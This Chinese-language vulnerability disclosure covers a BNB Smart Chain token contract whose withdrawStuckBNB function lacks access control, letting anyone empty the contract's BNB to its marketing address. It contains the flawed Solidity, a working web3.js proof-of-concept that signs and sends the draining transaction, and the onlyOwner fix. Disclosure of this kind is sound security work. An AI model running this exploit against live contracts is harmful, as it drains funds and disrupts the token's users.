今天小編分享的互聯網經驗:某合約任意提取BNB漏洞,歡迎閱讀。
1、背景描述
合約是一個在滿足特定條件時在區塊鏈上執行代碼的程式,各方以數字籤署合同的方式準許并維護它的其運行。這些代碼可以是向朋友匯款、買賣 NFT 虛拟商品等一系列復雜的内容。
存在漏洞的目标合約是一個結合 Meme 文化病毒式傳播與去中心化金融(DeFi)的創新項目,旨在通過趣味性和實用性打破傳統 Meme 代币的模式。
該合約的代币目前市值 1400K(USDT),日均交易量 150K(USDT)
2、問題描述
該合約 "withdrawStuckBNB" 函數沒有添加權限控制,攻擊者可以通過調用 "withdrawStuckBNB" 函數,将合約内所有 BNB 轉至營銷地址 "marketingAddress",從而導致合約交易異常。
tips:
BNB 是 BNB 鏈生态系統的原生代币,該系統包含 BNB 智能鏈(BSC)和 BNB 信标鏈。在 BNB 智能鏈上,BNB 用于支付交易費用和參與網絡的共識機制。BNB 還被用作實用代币,使用戶在 Binance 中心化加密貨币交易所進行交易時獲得交易費用的折扣。
BNB 在這個合約中的作用包括:作為交易對的配對貨币,用于支付交易手續費,流動性池的組成部分,以及手續費收入的分配媒介
3、問題代碼分析
```solidity
function withdrawStuckBNB ( ) external {
bool success;
( success, ) = address ( marketingAddress ) .call{value: address ( this ) .balance} ( "" ) ;
}
```
在合約代碼裡面可以看到,`withdrawStuckBNB` 沒有添加 onlyOwner 修飾,只有 external 修飾
tips:
Solidity 語法中有 4 中默認函數修飾符
- public:最大訪問權限,任何人都可以調用。
- private:只有合約内部可以調用,不可以被繼承。
- internal:子合約可以繼承和調用。
- external:外部可以調用,子合約可以繼承和調用,當前合約不可以調用。
onlyOwner 是該合約自定義一個修飾器,用于修飾函數,只有合約的所有者才能調用該函數。
這就意味着任何人都可以調用這個函數,将合約内所有 BNB 轉至營銷地址,導致資金被盜。
4、後續利用鏈分析
從問題代碼可知,任何人都可以調用這個函數,将合約内所有 BNB 轉至營銷地址 marketingAddress
查看 marketingAddress 的代碼,marketingAddress 是一個營銷地址,更新 marketingAddress 的代碼如下:
可以看到,updateMarketingAddress 函數存在 onlyOwner 修飾,只有 owner 可以調用這個函數,這就意味着只有 owner 可以更新 marketingAddress 的地址。所以利用鏈到此截止,攻擊者只能調用 withdrawStuckBNB 将合約内的 BNB 轉至 marketingAddress,但是 marketingAddress 本身只能由 owner 更新,所以攻擊者無法更新 marketingAddress 的地址,從而無法将 BNB 轉至攻擊者的地址,但是漏洞也能造成合約内 BNB 的清空,影響合約運行。
5、構造 POC
```javascriptconst Web3 = require ( 'web3' ) ;// // 初始化 Web3 實例,這裡使用測試網的地址,你可以根據實際情況修改 const web3 = new Web3 ( 'https://data-seed-prebsc-1-s1.binance.org:8545' ) ;// const web3 = new Web3 ( 'https://bsc-dataseed4.binance.org/' ) ;
const contractABI = [ """ 換成完整 ABI""" ] ;const contractAddress = "0xaaaaa"; // 替換為目标合約地址 const contract = new web3.eth.Contract ( contractABI, contractAddress ) ;console.log ( "connect success" ) ;
// 如果使用 Node.js,需要添加私鑰 const privateKey = '0xbbbbbbbbbbbbbb'; // 替換為你的私鑰 const account = web3.eth.accounts.privateKeyToAccount ( privateKey ) ;web3.eth.accounts.wallet.add ( account ) ;
async function withdrawBNB ( ) { try{ console.log ( account.address ) ; const tx = { from: account.address, // 必須使用真實地址 to: contractAddress, gas: 300000, data: contract.methods.withdrawStuckBNB ( ) .encodeABI ( ) };
// 估算 gas const gas = await web3.eth.estimateGas ( tx ) ; tx.gas = gas;
// 獲取當前 gasPrice const gasPrice = await web3.eth.getGasPrice ( ) ; tx.gasPrice = gasPrice;
// 籤名并發送交易(Node.js 方式) const signedTx = await web3.eth.accounts.signTransaction ( tx, privateKey ) ; const receipt = await web3.eth.sendSignedTransaction ( signedTx.rawTransaction ) ;
console.log ( 'Transaction Hash:', receipt.transactionHash ) ; console.log ( 'Receipt:', receipt ) ; } catch ( error ) { console.error ( "Error:", error ) ; } console.log ( "2" ) ;}
withdrawBNB ( ) ;console.log ( "3" ) ;```
6、修復方案
在 withdrawStuckBNB 函數中添加 onlyOwner 修飾,只允許 owner 可以調用這個函數
```solidity
function withdrawStuckBNB ( )
external onlyOwner
{
( bool success, )
= marketingAddress.call{value: address ( this ) .balance} ( "" ) ;
require ( success,
"Transfer failed" ) ;
}```
該漏洞目前已向相關部門和廠商報送并已推出補丁,使用此漏洞造成的任何攻擊影響均與本文作者無關。